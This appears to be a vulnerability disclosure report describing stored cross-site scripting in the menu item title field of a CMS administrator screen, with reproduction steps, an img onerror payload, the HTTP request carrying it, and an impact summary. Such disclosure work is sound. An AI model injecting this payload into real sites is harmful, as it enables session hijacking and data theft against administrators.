Description

There is Stored XSS in the item title of the menu on the administrator screen.

Proof of Concept

Step 1. Log in to the admin screen and select Add New Item in Menu.
Step 2. Specify the following Payload for the item title and save it.
Step 3. Once saved, any script can be executed on the administrator screen.

Payload

<img src=x onerror=alert(document.domain)>

Request

POST /admin/menu/item_add/1/40 HTTP/2
Host: localhost
 ...
-----------------------------270651214445377498288823999
Content-Disposition: form-data; name="title"

<img src=x onerror=alert(document.domain)>
-----------------------------270651214445377498288823999
 ...

PoC Video

https://drive.google.com/file/d/1DjT6hbPBXpIs2pbrZ1EZZluZDOSDjeMk/view?usp=sharing

Impact

Stored XSS vulnerabilities can lead to data theft, account compromise, and the distribution of malware.
Attackers can inject malicious scripts into a website, allowing them to steal sensitive information or hijack user sessions.
Additionally, stored XSS can result in website defacement and content manipulation, causing reputational damage.
It can also be used as a platform for launching phishing attacks, tricking users into revealing their credentials or sensitive data.